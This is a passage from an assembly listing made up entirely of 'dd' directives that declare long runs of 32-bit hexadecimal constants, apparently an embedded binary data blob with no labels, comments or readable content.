20F064A7h, 821C9607h, 0F0E8CA19h, 0E8016490h, 6866BE64h dd 4049D997h, 103C48DCh, 0C8B00285h, 0E1538009h, 0B5BDD148h dd 8068323Eh, 2DB1AF24h, 0C28F961Ah, 75137E60h, 82858FC0h dd 37AF9CB1h, 92F80084h, 1C697F71h, 96ECD300h, 8666783Ch dd 952E1314h, 62A8A46Eh, 0ED8D4F00h, 0A96652F6h, 38120F8Bh dd 0B70B7867h, 0FC860861h, 84D344DCh, 0EDC42002h, 0E23C4174h dd 5C084C18h, 707A0FD2h, 5C004144h, 0F9CF13F2h, 0B0FDC630h dd 87570670h, 0F0698E19h, 0EB313802h, 89AA1622h, 1FA4F18Ch dd 0FE06CECCh, 0D6FAD8A0h, 1901A1AAh, 0F882295Dh, 4888BDE4h dd 702C7C86h, 112C972Dh, 0D7278076h, 13DCFF2Fh, 0A88D8499h dd 0DD2428h, 0C59A803Dh, 12223F66h, 631E4A85h, 0EBF1822Ch dd 4EA420DAh, 8BE621CBh, 0BA4B764h, 0C84547C9h, 66876500h dd 67EF10DBh, 80E63914h, 84F67E38h, 5F829801h, 14B73ECDh dd 0F2AA071h, 0DD0A1888h, 828E6180h, 2871A492h, 0DF92F71Fh dd 49CF4F8h, 0C0B7B5CDh, 0F5233547h, 3A020CF8h, 8B079FEBh dd 5E07C46h, 0DE806831h, 0B78B801Ch, 12664C50h, 0E41C1BB8h dd 0A0955E58h, 16CEE4FCh, 0B6C700BFh, 601E56F0h, 0CD0430E6h dd 0DDE75CFFh, 5B0B5CA3h, 98E56867h, 316001C4h, 0BCBC7E88h dd 91A1F640h, 874F00ECh, 84AF7838h, 8929CC9h, 311B020Ah dd 1984FC91h, 890871Ah, 27AE0A4Dh, 9461CF12h, 6B04061h dd 0D8252DC8h, 0E48C4DBh, 2CB64384h, 0C05CE232h, 4A17C811h dd 0DFB8027Bh, 0B31A0FD0h, 465ED45Eh, 1241039Ah, 890AC301h dd 2C612C4Eh, 74BCBC78h, 0BEC00F8Ch, 0B6646B87h, 0AC4CA968h dd 44879DA4h, 0DD194DEFh, 0E85FF00Fh, 80122E2h, 9F4D737h dd 383069EAh, 0C4140F36h, 0C85606A6h, 4520139Ch, 9C6706B4h dd 51060B84h, 0A0E4D09h, 31D4E0D3h, 38E73B4Eh, 17FB8BEh dd 681673A3h, 4D099106h, 0E5C06088h, 802FA141h, 9381999Ch dd 323EC8B2h, 8E5067A3h, 9C8891C4h, 18B11506h, 7869FCDEh dd 13B914D6h, 64A09194h, 85ECE7EDh, 59571E5Fh, 364E438Dh dd 1E884C7Eh, 23397D53h, 0B26B83Eh, 72C639F3h, 2FC3735Ch dd 88179107h, 0A902C6BAh, 2EFF44EFh, 37C46068h, 8ECEDD04h dd 94ACA73Ah, 0B75B0200h, 0B569F3FEh, 3977A8A4h, 986D8D18h dd 1934551h, 0C1AB0BEDh, 3001B462h, 0E800381Fh, 30E9A580h dd 2DE6FA2Fh, 3CC066EBh, 0F679B534h, 7B9DF700h, 0A198679Bh dd 46030702h, 99847DB9h, 504D437h, 8F5171Bh, 0B8834444h dd 0C4C8C52Eh, 0A4BC58F5h, 88508BE4h, 8488C09Fh, 79043616h dd 0D4910286h, 3D0128B8h, 0F2BB44EDh, 70DBF671h, 7DB7E370h dd 8101090Bh, 1410A62Dh, 20009412h, 0E3663706h, 2DBD4526h dd 846078Fh, 83E0C93Ch, 0DC20B312h, 0F49EB8A3h, 1CAB486Dh dd 638CD588h, 1A398Bh, 0EA555D9h, 0B9ECE0FBh, 690A9C03h dd 84907EC3h, 0A13704F4h, 1421CDDCh, 8D3F0BF1h, 487F53Ch dd 4A8C20B2h, 96073541h, 7F1A399Ah, 487C49BBh, 3A020A10h dd 120AB892h, 0A0808162h, 4CF69C12h, 0A98312E0h, 0E6CF4503h dd 0BC38220Dh, 320EB8C0h, 77092E7h, 1214CDDEh, 0C890C9A3h dd 0C129EF7h, 144B97F9h, 0A4380911h, 88B870D8h, 0F48C9EE8h dd 8E150B39h, 0C871AD68h, 1F4BD107h, 3D3792E0h, 99CE0217h dd 0CDDDBF86h, 1F34907Fh, 209E0059h, 864EFC7Ah, 48F22764h dd 22F78801h, 0D2F8E551h, 0DC08C93Eh, 281FDE67h, 0DF9FB063h dd 14D83280h, 0C93D731Ah, 50803EE9h, 0DD6C41E8h, 162474E2h dd 80202F58h, 0A4551410h, 0A3F6E912h, 12280970h, 74A470EEh dd 0C0967135h, 815414E9h, 0F2C90DDh, 65A50C04h, 6173E408h dd 0DC21E098h, 828423Ah, 8C71D91Bh, 5C303495h, 8C73AC34h dd 0E3100112h, 0D50048A2h, 8478B442h, 2C626009h, 9A2C1F0h dd 979B4F9h, 64B04618h, 0C80049ECh, 0E16D95B2h, 0B24F0A14h dd 0E0296214h, 0D0017C16h, 3A7A1EC4h, 29C2310h, 6BE280A1h dd 90DCC842h, 4CB06464h, 136EEB39h, 89E002D0h, 14708849h dd 0C898BFFEh, 0DDD45B01h, 7A038493h, 6CAEC983h, 515A635Eh dd 73C898CBh, 986455C0h, 1801FACCh, 789E4DA1h, 674A1296h dd 0D408A080h, 0D092F317h, 8E605358h, 0C080C8CCh, 0AE745458h dd 9DC29B1Dh, 6A61037Fh, 0C5FC88BFh, 4B1CB0A8h, 9F133DF1h dd 2454C27Eh, 0C4E73462h, 0FC60A844h, 0C00BD556h, 40CA2185h dd 0B7DE084Ch, 0D1065806h, 6BAE8E17h, 3C3D18B1h, 7F0048E8h dd 0D90BECDAh, 0C80E447h, 43131BC6h, 0E8995E59h, 14402507h dd 0F12092F0h, 6A290635h, 0F8DFF360h, 0D2588640h, 0D00C1EC9h dd 0D6FA1727h, 5D039804h, 0F290F252h, 1994300Eh, 0A1E09B00h dd 271A9CDDh, 0A90C803Bh, 31F3020Dh, 0B1FFCE1Eh, 0FC508C6Eh dd 2F564Fh, 1EF624CEh, 0B77E6C17h, 0C18892BFh, 61169ECh dd 48277A10h, 0FF3999A0h, 0BDB7785Fh, 92007837h, 4E8D485h dd 9D0F00F9h, 0EE27F46Ch, 8F17D8ADh, 0F852F184h, 44E5960Bh dd 5FBD0058h, 5384A424h, 6A002157h, 7F5537CBh, 69C41B02h dd 2300B0DCh, 0E48BF64h, 224E4DB0h, 9C34E4C1h, 4DE80603h dd 314F91C5h, 16614C96h, 81C33AAEh, 4C111FF8h, 58CD6CCh dd 853F48DEh, 790CECAh, 3048E660h, 0B408F34h, 50AC35DAh dd 41CDEE01h, 0E5315814h, 0D91142DAh, 189FD1B0h, 74630115h dd 0A0DF412h, 1AC795Bh, 48495D6h, 3B6F9616h, 7752360h dd 84BD3AEDh, 5004AADBh, 10021F2Fh, 0F62365A9h, 70FEA433h dd 0B6DD3704h, 96549D01h, 93F7C28Ah, 2D50092Fh, 7D8B0D3h dd 4AE00064h, 46BB01A8h, 0E6201985h, 0F9730978h, 0A80496D6h dd 7470F81Bh, 8D504016h, 128E90C8h, 7313BF02h, 314C9DC0h dd 0AFCE1714h, 206B4012h, 8C247C23h, 423E0A3Eh, 0BC07B3D6h dd 2ED17425h, 3822E65Dh, 4AF44C00h, 0B806640Ch, 315AF0E7h dd 32020AEAh, 8BE45552h, 40A0D402h, 4C116C80h, 32639F0Eh dd 2A4ECB85h, 0DC08806Ch, 964F09D2h, 0E805FD06h, 2EE53209h dd 0D9645986h, 3904189Eh, 177F8D92h, 0E4F984F0h, 0A12302Ch dd 0F8829612h, 8034560Bh, 8E887E9Ah, 28D3CE94h, 0EAC1BC9Bh dd 0CE03FEADh, 9C03CC74h, 2545E539h, 90645EF0h, 0AC981C00h dd 551643E9h, 0EDB50450h, 903CEFF8h, 0A6222A80h, 0B240095h dd 51C66E5h, 12068373h, 0EBF447C4h, 80D7FF0Fh, 0C73C9030h dd 0EE786EECh, 1F4C8BEh, 575C182Ah, 0F4D82444h, 8362C219h dd 48785E88h, 0E6610618h, 7DF7EAEAh, 0B4F8FCh, 0A8B643EDh dd 0B7FDCF25h, 1A84B0C8h, 0F80261A4h, 830FCEB8h, 0F4EF5140h dd 8C68F88Dh, 0F48C01ACh, 77167474h, 8570C8D4h, 8F90C314h dd 2CE2378Dh, 3D6F0A08h, 5DA90205h, 0C9F644E0h, 6C543998h dd 0C0244D2Fh, 79C29EFFh, 0D263B505h, 2CADEF7Eh, 321A3A05h dd 0DE10F0A6h, 0D9FC61E5h, 0EC50281Dh, 2E0E8C76h, 416BADAh dd 20ACF9F3h, 8E1A2804h, 501B43ACh, 87180AD4h, 1305E65h dd 0DCADDF07h, 546B2E70h, 0D0806739h, 82A5157h, 1F0002A5h dd 4BFC8D2Ch, 5D86221Dh, 9D207077h, 475F0F2Dh, 607BC4D4h dd 1DBB55h, 15C628EAh, 8101B6B7h, 0A4B0ED4Ah, 604D0017h dd 1684902Eh, 56128238h, 20088CFh, 98442CB8h, 0D53025Fh dd 7FB0EF5Bh, 0C0DB9862h, 6EF70h, 50AD90F1h, 0E894AAC0h dd 0FD70239Fh, 2203A81Eh, 247C00C6h, 4B02ABECh, 0DB3E5117h dd 9A242Fh, 5C1BFE85h, 9050F8B0h, 3A8F2048h, 9993202h dd 0F61EAB5Ah, 18EB74ECh, 92910904h, 0E85C155Fh, 0A1DD4EE0h dd 5C099DBDh, 463BA81Dh, 16494113h, 534E96Ch, 737FDE97h dd 1310E387h, 5C898DB4h, 9613B437h, 0BF0422Ah, 9500F068h dd 13FA8D3Ah, 344B442h, 454367C0h, 0B740288h, 0E163A116h dd 207908FCh, 0A20E7B08h, 0A62F8CC6h, 3D913FC8h, 62928097h dd 3FCD8D1h, 81DE8A05h, 0DCBD9A61h, 4594C10h, 2941910Ch dd 5B1688B8h, 0C697060Bh, 0ACB01185h, 20C45D4Eh, 2A3A58B2h dd 0A18518CCh, 9A05FC5h, 5840DF22h, 552EDD8Ah, 46765887h dd 98E030Ch, 9090FD18h, 3E16BD2Ch, 37515BEh, 8DE33C74h dd 91698A99h, 10A8C424h, 84929D89h, 0A9320167h, 0EBEA7C52h dd 8EE6222Fh, 3DFB0588h, 1406E041h, 0C2D8795h, 57F65F83h dd 80CFE2E8h, 4E85F20Eh, 0D8D96917h, 8B824048h, 0EC158081h dd 0F8B28314h, 0B4C3C0D1h dd 0CD7E004Eh, 1943FBFCh, 9902289Ah, 907D66EBh, 3154E4FEh dd 0F3C0B768h, 61880275h, 61756E0h, 0F21178BDh, 4573137Bh dd 4826E5Ch, 0A9FA0077h, 1097C235h, 8296BB1Ch, 144E847h dd 3A05EA60h, 0C8D32A4Bh, 38AA03h, 0AD2E1228h, 2213A8A9h dd 147D07E8h, 5C4BDA58h, 0EC1D969Ch, 60CC5ECCh, 0C2A30033h dd 5277CCE3h, 7E0F346Ch, 0E264E6F7h, 5468903Bh, 3C33819Ch dd 6BD675FEh, 0E611D08Ch, 4B731636h, 93FCB899h, 0A0D50404h dd 72418802h, 0B468F8ABh, 437A20E9h, 8506DD71h, 13760221h dd 181B2721h, 61F6D044h, 0E2429F44h, 1C83827Dh, 19119D01h dd 7A3DAE22h, 0BCD0A195h, 0B9520D00h, 88BE2187h, 452C90A4h dd 5041F898h, 0C60E381h, 4499864Ch, 82187671h, 230B4D00h dd 6AB0DE2Dh, 14C42DCBh, 103DA041h, 49020E7Dh, 0B25E8CC7h dd 51C50064h, 0D69BAD31h, 5C10E663h, 55009C54h, 0E2B1998Fh dd 0B3611B4Dh, 59340A40h, 0CDA11000h, 2FB8A749h, 28C6173h dd 8ECB9A4h, 4C3AA495h, 0A7809B20h, 97DC4929h, 2E962701h dd 6F07447Ah, 0E0C8E333h, 0D3B49229h, 857E9F12h, 6742C809h dd 609BC454h, 0B86E1F78h, 18A302CFh, 390D515h, 168FA8D6h dd 0D10C095Eh, 7E9C1F64h, 2D16F140h, 40736DCh, 5EE95FB7h dd 724674A0h, 0BBAA4800h, 4549DE6Bh, 0B0A27009h, 0A978A108h dd 932FB691h, 47A4F958h, 0B900F17Dh, 1E6F67Eh, 1B6DA336h dd 6FC58901h, 0C55C9009h, 6092E4F8h, 1EB6D2Ah, 0FBC0516Bh dd 706F8F33h, 90412140h, 8F2E4831h, 0C39288DCh, 0EA95C18h dd 0F6CFD4F1h, 110095E0h, 6E913671h, 3D56401Bh, 68E4B7EFh dd 64EDE8h, 0D6C045E2h, 5C5DDC9Bh, 8401F41Eh, 1FA2B5B0h dd 0F8CC3C1Dh, 0C3008C72h, 0F7448225h, 0A01C1BE3h, 967E09A4h dd 0EB59630h, 705059F0h, 20E5BF18h, 271A0E99h, 0E831780Bh dd 4F618E31h, 20371290h, 788A3DE2h, 69049698h, 601007Ch dd 575E75FCh, 38BCD02Bh, 5C2489F2h, 7909C021h, 0BC84641Bh dd 0AC994054h, 300EC0B1h, 0C0A40D78h, 3B68263Fh, 0DA122D25h dd 0A90BA8A0h, 0D8C1CCFCh, 2AEF777Eh, 72F89C3Ch, 0A666008Ch dd 12D90571h, 70269F9h, 702773E7h, 11DC596Ah, 0BE07707Dh dd 878B31E5h, 43BC0988h, 40798C84h, 2E60AE8Eh, 807019Ch dd 1BBC15C7h, 323C35B4h, 10D848A0h, 884F90C5h, 1FE8A1E8h dd 77810701h, 0B17B8A39h, 161F870h, 86D30BBh, 0CD829C21h dd 7C022AE2h, 5F0696D0h, 82E56405h, 9451CFC0h, 0A8180379h dd 162D5A3Fh, 0A8C2E5FCh, 0DC30DC5Eh, 14FA8F07h, 0A1775679h dd 0FECB4E90h, 7449590Bh, 7103E802h, 0D461EBDDh, 4B0472B7h dd 40ABC8E4h, 39188896h, 0E9E8A42Ah, 1735000Ah, 96431260h dd 7260973Ah, 56E43138h, 45A4988Fh, 2F8878B0h, 919CDB0Eh dd 0A96800A3h, 4E958DB8h, 143C0353h, 5FD5EC22h, 0CABDCBE0h dd 7821132Fh, 0C8B75A20h, 4D7614CCh, 51009148h, 0BCA43C80h dd 74008C9Ah, 9839B52Bh, 16CCA953h, 0F45E7F33h, 3500FE00h dd 21B30834h, 97E6746Eh, 391B817h, 0FC8E2780h, 14B84F35h dd 882E9A45h, 33002A0Ch, 60C5EAA9h, 1BB4521h, 6C7705EDh dd 709240B7h, 9422BDCCh, 0EB043086h, 96098861h, 98C8C892h dd 1D748006h, 0B55E0EBDh, 4E639A0Bh, 0E9608EE5h, 8BC5EC8h dd 58A58B0Fh, 980E5CC4h, 8074DB5Fh, 99646675h, 0F7BDE410h dd 4484D872h, 0BCC0A4E6h, 73343Bh, 46B5B6FCh, 25B14E30h dd 34E0492Dh, 0D402E3DDh, 8DD6A189h, 0B204E49Ah, 546A09E8h dd 30ED9BD7h, 86A94DC0h, 0FC650B0Fh, 44070D8Ch, 102E5839h dd 0E4A8E56Bh, 2E6F607Fh, 0E6F91E35h, 0DDB4C564h, 420EA0Bh dd 4B3F1214h, 410CA434h, 9110A514h, 3A0E81ECh, 902F111Fh dd 0AD3619CCh, 0F1CCEB81h, 4D55048Ah, 0F0722185h, 0F912E650h dd 0D88D31A9h, 3478577Eh, 8D70813Ch, 0DC3C29B5h, 783DF309h dd 4F9D0B74h, 0B0A2F91Ch, 4D1A0504h, 6D4C60E4h, 880FAAECh dd 875965F4h, 0D629CD94h, 69B671DCh, 85D31F34h, 0E1A35E4Ch dd 61A116DDh, 0CD88E58Ah, 9D8E001Fh, 0D8B409Ch, 0A27B4Fh dd 4F2CC04Bh, 8A546E54h, 70CE9E0h, 50759DCFh, 0EC89D249h dd 8C9FBC9Ch, 14CCAE05h, 3881741Fh, 0F028EBB4h, 0AE10C0CCh dd 0DC14748Ah, 34770CE2h, 2C6393Ah, 265EE45Dh, 0D9F4511Dh dd 21D1872h, 99D26062h, 0EC7612FCh, 980CF663h, 4A8C04Fh dd 0FD0DDFEBh, 0CC20FA68h, 3CB9B15h, 62C499B1h, 0DFD1F13Ch dd 1BB9FCEBh, 875CC302h, 4CA30E39h, 868E2248h, 25DF0422h dd 90596482h, 0B08B5C92h, 77C09AC8h, 0B9F3CECh, 4E2C41CCh dd 8844182h, 0A0024CF2h, 2340376Bh, 41DC7C9Ch, 0BBC2642Fh dd 75108406h, 5C908736h, 78654543h, 2D960440h, 0C4B87E18h dd 15A44264h, 375FDEC0h, 443003CCh, 6BC8B2A1h, 0B4099F88h dd 0E10503FEh, 3830E91Ch, 8E04401Bh, 2689603h, 0BD0F03h dd 5B80D820h, 0DC6B9D64h, 11888E02h, 76137F2Ah, 9A467444h dd 32AD4F16h, 0CCC24EC0h, 320490FAh, 4BC13985h, 23883BBFh dd 7FAF018Eh, 9754E386h, 0CAC076Eh, 0F8DE8A71h, 81FCA861h dd 0C5E802F2h, 4D1DF064h, 0AF8B3224h, 25B444DEh, 78200490h dd 8D158102h, 81987982h, 32098767h, 70870575h, 8001B5B4h dd 3EBBFDE7h, 443760C0h, 7732170Ah, 10D8ED4Fh, 3F3FEEA7h dd 29A01F7h, 982ECE9Dh, 0D853D15Bh, 4C5BDEFAh, 92C12081h dd 2138A08h, 48F04999h, 0A23E4FCCh, 80A87D1Ch, 9A8096F5h dd 0D0425B39h, 801453A8h, 1B31A17h, 34388C76h, 0EA308FFAh dd 53862045h, 341080E8h, 61791C59h, 9C9C98E7h, 243A2D11h dd 99B678C0h, 474F20F0h, 399F5042h, 594DC66h, 0A63B5485h dd 61207BCCh, 0D04B28Ah, 764E12DEh, 4E843D81h, 820BECF2h dd 50266E29h, 8B1D2133h, 600A1AB9h, 23582086h, 41B74419h dd 859CB64Ch, 0F8FCD52Bh, 45572A02h, 0C8D31D8Ah, 0C090610Ah dd 6CAB7D0Bh, 0A7F52154h, 1A25BA40h, 2B4B4A6h, 6527BFFDh dd 0FB5E7076h, 7007D18h, 0C602FA98h, 5FAB6013h, 41E04063h dd 5B58FCBDh, 3884AF03h, 8873238Fh, 3835EFD4h, 1603EA2Ah dd 0E2B8BE45h, 0E84D8087h, 870034D5h, 0DD8A83F9h, 4478574h dd 86B41753h, 0CF41C364h, 3FE22100h, 31055CCh, 965D0417h dd 0C0C18682h, 11D85C60h, 873BEC9Ch, 0D97C9CE2h, 86711CB0h dd 0D07F016Eh, 0CCDFC679h, 0FAC8204Eh, 5587BF00h, 0DE4B40D1h dd 8C8583Eh, 9EB70070h, 0DD01FD64h, 0A72D346Eh, 5D80511Fh dd 3ACDC09h, 30AA676Ch, 0E11EB08h, 0BBF8067Dh, 0C4087B63h dd 6A1818A4h, 0CA5308A0h, 31313090h, 0F14B08CEh, 88A78C01h dd 0CFF2D20h, 7108446h, 6274F940h, 0D9D408F6h, 10835A03h dd 10076520h, 1410CD5Bh, 394E31B7h, 0C901D0EDh, 38E0106h dd 0CFBE0888h, 48852C0Ch, 0BDE340C2h, 0C6DDD240h, 8F72989h dd 20176C20h, 1920BA9Ah, 88B633D8h, 8EE4140h, 18EDFD31h dd 88828D2h, 0F818C00Bh, 0C8308471h, 39150E21h, 9C111884h dd 801EC440h, 6F815EB0h, 1AD0818Dh, 0C6A988E9h, 0F470815h dd 2319D319h, 8B439188h, 31D0B715h, 0C61EB1FFh, 9CF0888h dd 209B5F0Dh, 75107AB3h, 8C80412Ah, 20F21C20h, 3720F821h dd 0B6C02216h, 0A85EBC40h, 0D22CE6E4h, 40981908h, 533199F4h dd 885127F1h, 2088B0A7h, 0E415BF38h, 0BC7F2AECh, 20263720h dd 17660DB0h, 20519AE9h dd 7631E698h, 0DD0D4894h, 0DFD9D1B3h, 75E70912h, 29CB440Ch dd 8480A99Dh, 0A9B2C188h, 8B94908h, 0AB0CBEE5h, 402A3876h dd 19CCF184h, 404EB1CAh, 0CB40C11Fh, 0AFF54039h, 0E5812064h dd 88DCA90Ah, 203FEA62h, 0FBE120BBh, 6880E632h, 0FF3C4B69h dd 40E870ECh, 0B1C4C8D0h, 9004DC3Ah, 9730C2Fh, 8C18400Ch dd 0A6388964h, 2ADB4493h, 318058D1h, 0E2100CE8h, 3B08880Ah dd 0E0A415F3h, 0D1DE5619h, 0D50D01FCh, 11100403h, 7D18CFD6h dd 7231608Dh, 0B93A58CCh, 0AEA9CCF5h, 2E40CC99h, 7F824051h dd 0E142AA40h, 88D62501h, 18B74F08h, 153C81AFh, 811B6F80h dd 5A1195D2h, 0C2CF109Ch, 81C6819h, 0DC198857h, 77EC0C2Ah dd 0CC408D98h, 3623406Dh, 40831940h, 59C4C0B4h, 7C09FAC6h dd 6AA228A2h, 0D12A5C6Bh, 8C49E4C0h, 2F77820h, 49CA210h dd 0D3F8021Fh, 321F002h, 3032ADB4h, 48C1B14Ch, 26FAEBB4h dd 40A46FEAh, 16FB07D4h, 480FF24Eh, 1ED3034Ch, 0C41000EDh dd 9564AACCh, 0D7F26960h, 0B320A717h, 92E26040h, 19B4386h dd 0C881BED6h, 2B017902h, 0CCD82CE1h, 247B5B9Ch, 80E4C79Ch dd 0BBCFB08Dh, 2BE3531Dh, 0E41BE00h, 60D1076Ah, 621C9993h dd 0AA079E82h, 9A853BAFh, 0E7B73341h, 1E052CEh, 0D9DFDA88h dd 80A7D8EFh, 0BF70A038h, 0ACB6831h, 589DB586h, 34CD0008h dd 83B003EBh, 0A0C3D630h, 2206B322h, 0E81812C2h, 1680A158h dd 0FA34A04Ch, 5E930CD3h, 40106C0Eh, 1A51E502h, 90D91D86h dd 158A020h, 5446B19Bh, 4386CD5Eh, 0B38B0294h, 0ACDED5C2h dd 676ED083h, 0E3600CB0h, 0F0184C05h, 20555330h, 5C0B6E4Dh dd 0B61E282Ch, 0AF9242B9h, 9092D208h, 14EA8403h, 0A8ABC480h dd 8F136001h, 0C7D35C28h, 0E106B0FFh, 3D9A00D5h, 0D05D2086h dd 9560E007h, 0A39F1841h, 0AFB23E82h, 0BBAE700h, 0AA6E36B9h dd 0D6B400BDh, 2DB7C1Fh, 4D088104h, 0C643EFCEh, 90824030h dd 8089C5F0h, 0FE0E7388h, 6280B7BFh, 98AA82A2h, 60B56E58h dd 0C839D0F9h, 0A31D3E3Ah, 0CD0012D7h, 0BE1A137h, 0E50505CBh dd 9B1465Eh, 0B8F2849Ch, 18243C50h, 49A38F03h, 360906Eh dd 31820450h, 99E6AF14h, 0FEE8FA71h, 6E327A06h, 50D0ABC3h dd 0E6D408h, 875BC02Eh, 16CDD694h, 59F85E01h, 0DDFAA5ECh dd 0D78630h, 1F9D1026h, 4B5E4A25h, 0A890BE60h, 106DDCAh dd 899752C9h, 425A2088h, 1C10D1ACh, 0A1827D67h, 53EDE80h dd 449B3C08h, 15B71998h, 66400940h, 2D68DCECh, 0DE4180E0h dd 0BF1CD900h, 0E8AEDBFCh, 96CB621h, 48104F16h, 32988536h dd 0D23CC548h, 0C7020AAh, 6E12319Ah, 0A0A04EE2h, 0B027F1AAh dd 44B6F083h, 9B301818h, 80D56010h, 0CF4E6E4Ah, 0C686A880h dd 6B6F079Dh, 37A0C05Eh, 8C4A51h, 0CB46ED08h, 41F02787h dd 0BC3F48h, 40C428EEh, 0F84CD686h, 0AC340054h, 7EA5FCCFh dd 3C4C7CAEh, 800A2A6Dh, 8EA39734h, 0ADC50887h, 460010B8h dd 0DEDB0FA1h, 0A267485Eh, 16808870h, 48336C61h, 0D40134A8h dd 67FBB28h, 0A0A44114h, 92884C52h, 0CA0E1091h, 0E5FB8293h dd 4084FF57h, 66B083DBh, 8950B2F3h, 4760E830h, 16E3F121h dd 2825E927h, 615830E0h, 74BB1070h, 0E8B88614h, 154003C5h dd 0BC497FEFh, 9E804C50h, 1C6E065Ch, 28941814h, 0ECA60D80h dd 5BD05EF8h, 8A1C902Dh, 0F6246FAFh, 0A299ACB9h, 4C3FFAE0h dd 4FC80E10h, 86703D50h, 5E503361h, 4CE276F2h, 3C9E489Ch dd 71320213h, 0D16EE074h, 18046F90h, 6F03306Ch, 7920AA17h dd 1F90909Ah, 0C61590E2h, 286B625Eh, 2491DFF8h, 112DE509h dd 9020B04Ch, 26BC920Ch, 80600993h, 79164BDCh, 45125A26h dd 10004CF7h, 0DDEF274Dh, 0B84082A6h, 0C2462B0h, 0E90014EEh dd 6ECF22E2h, 5C829D58h, 2863F9D3h, 88AC6086h, 0FC080F29h dd 88DC5E61h, 11C1820h, 84A894B2h, 34929F65h, 0C8A80F48h dd 0E530CE86h, 0FEDF194Ch, 0D0EB48D1h, 289D3E15h, 2329A203h dd 35E8FC0Fh, 2A495EE6h, 9E744980h, 0CBAB7300h, 0F26FA1EDh dd 0E5949ABAh, 7FC2A002h, 0C8D74840h, 996EEF1Bh, 49CEF819h dd 0B050075h, 0A9092CC9h, 6775E5BAh, 60A82C90h, 0A7746C73h dd 0D46D8901h, 0FE80EBDAh, 0FBEF7020h, 3AE81D8h, 6EC4D5D1h dd 0E0143BE0h, 10C8720Ch, 4562122h, 158AF854h, 0DCB6B309h dd 0E359B830h, 28C06D1Ch, 0DFB30A10h, 0D2662A31h, 0B70E2488h dd 7C9214C7h, 6DEF7005h, 0A10959Eh, 248CFA20h, 0BDB80D0h dd 3AE679E1h, 0CEE54D16h, 3AAE74B0h, 5F003F43h, 0D644838Ah dd 115231C7h, 0C8CC24A8h, 30BADE8Ch, 322C0144h, 0DA63067Eh dd 49C2643h, 1F91E535h, 6142C490h, 0D1D30778h, 0C05CD407h dd 7B0E3370h, 54733C98h, 24201C81h, 19EF1250h, 8F1C4F9Eh dd 0ED684012h, 14EE46D9h, 44BEB201h, 0FC8AB8C9h, 5E00A30h dd 596EDFAFh, 0D8AC0345h, 3089EB11h, 5AE0603Eh, 3075092h dd 0BDFB5CDh, 3AE5A040h, 702E0E23h, 0FFE636CEh, 0DD7388B8h dd 0C287D400h, 758538AFh, 909D785Eh, 3A100730h, 40D532B3h dd 0E107B29Bh, 7DE49701h, 172B6E4Fh, 0F04B8087h, 0E9456011h dd 51E16726h, 61CDFCh, 7D9E9274h, 5899D815h, 0CCCCB31Ah dd 0F02A116Eh, 0F237234h, 0CBD5D359h, 0A4B664C0h, 0EF74039Bh dd 14CC3650h, 0C4C89559h, 4C91AF65h, 0E300D298h, 6CBA2761h dd 0E71220h, 0A48DD4ABh, 514916B5h, 59891F05h, 0B440EE0Fh dd 7034E812h, 0D47F0076h, 0C3E0D5A7h, 5828E533h, 965A94E4h dd 1ECC10D8h, 255203F2h, 0CD2C7860h, 859D526h, 660E5081h dd 2822DD07h, 8032E214h, 27FAF083h, 86EE1802h, 145245Eh dd 0D816D788h, 0C7050369h, 749D3DE3h, 0AC02288Dh, 6EBC48DBh dd 0B01952DEh, 7C80BA78h, 0F3C02CB8h, 43E48004h, 74365EE1h dd 0E742A09Ah, 68376E3Eh, 0DC0A0B28h, 9E9248h, 0EF743BA0h dd 65E9425Dh, 54F80790h, 0BE7E0018h, 2DEAAB7h, 5EC38F50h dd 0E4A93398h, 8008F804h, 37D193BCh, 9489950Eh, 47E12F7Ah dd 0AEC04EA4h, 4D9F097h, 95E7C706h, 0D1CC81FCh, 0EC933B9Dh dd 0E1E07F8Ah, 32EA0601h, 10410B1Ch, 2044348Fh, 0AF0B1CCAh dd 0E4917EBh, 4078C3AEh, 6AA79AE5h, 88940720h, 0E8EFD5B0h dd 2058C4CDh, 0C020A8FBh, 8281DD99h, 626E12B6h, 294F989h dd 32D8B312h, 90B8E4B7h, 50205100h, 0A7ED988Eh, 0E806D3C0h dd 9E28A05Dh, 0DD00E45Fh, 790472ABh, 3E65E3B8h, 5C0050C5h dd 0D33D3F87h, 96FAAA86h, 0E7074000h, 108DA075h, 0FB871A6Eh dd 9C88811Eh, 8088C588h, 0E04236B4h, 0E83CD0C4h, 9F14B200h dd 24B09AA3h, 7D91F01Bh, 60C09582h, 0F14258h, 0EDA3CC06h dd 0D2DC07E9h, 0AD36EFE2h, 10D859FCh, 4A269BF0h, 705DCCB8h dd 4008D044h, 409DDC42h, 1E847044h, 1DD0EEA2h, 0C0899EEFh dd 0B906E066h, 0E31DCB94h, 0CA52E57Ch, 0B0AAA800h, 0DE9229h dd 0A577EF06h, 55A08C2Fh, 498E33Ah, 57825EDBh, 83A05C97h dd 122B51EEh, 6933E7h, 0AB368DAEh, 7824A6E0h, 1610886Ch dd 50EC0600h, 1D4D0CA2h, 1BDA6100h, 0A64B02B3h, 2F7124A0h dd 69C00A3h, 7EAF50D3h, 39444D00h, 30E6542h, 0D4E4130Bh dd 0E36600D8h, 531D5E59h, 49888CBh, 0C414B858h, 48ECC850h dd 0DE9EECE3h, 0E0B5D8E5h, 0B13D7CDCh, 7639879Dh, 609F66B3h dd 4B99B7FBh, 6C56045Bh, 0A052E882h, 5324EF00h, 0E8A8DC55h dd 5298164Dh, 0C45EC7ACh dd 0FAD080D9h, 3F0695F9h, 2487BAC3h, 50699D6Eh, 0DAD57490h dd 0CE0054Ch, 48B5705Eh, 16C101D6h, 71BDA362h, 0DA2A70DFh dd 0A8955E18h, 19F3F50h, 2068F5Ch, 44DDD7B3h, 143092ECh dd 6E43BC40h, 0A94F8334h, 0F86DDCD2h, 28B66418h, 49B080CCh dd 504AE3EFh, 803F4821h, 24B45EC8h, 5D8439Eh, 8111AFD3h dd 16466804h, 1CD901B0h, 7D41BE4Ah, 430CFDE5h, 0AAA2E090h dd 4743C40h, 0B00FD780h, 0E5FE041Ch, 95A92466h, 0AC5482F0h dd 0F0B010E4h, 54566C0Fh, 8E60BBDh, 109082Ch, 2EC4CE3Ah dd 82101075h, 9A933F40h, 5E126452h, 1BEE9BCh, 0DFF23D18h dd 0AD8C3086h, 1ACE0A40h, 48DBC7EFh, 0C40008E6h, 0AC4CFB07h dd 306E1B39h, 0DA303C41h, 1527F10Fh, 0D1F8104Ah, 0DBE9C295h dd 850DEBBh, 0A8782CA0h, 984450C9h, 0B0B7B17Ch, 9E2C9918h dd 281E6049h, 0B24BAFDBh, 55005AEh, 0A3405C97h, 1826CD8Dh dd 38AF826Eh, 877EB79Eh, 0CC20F890h, 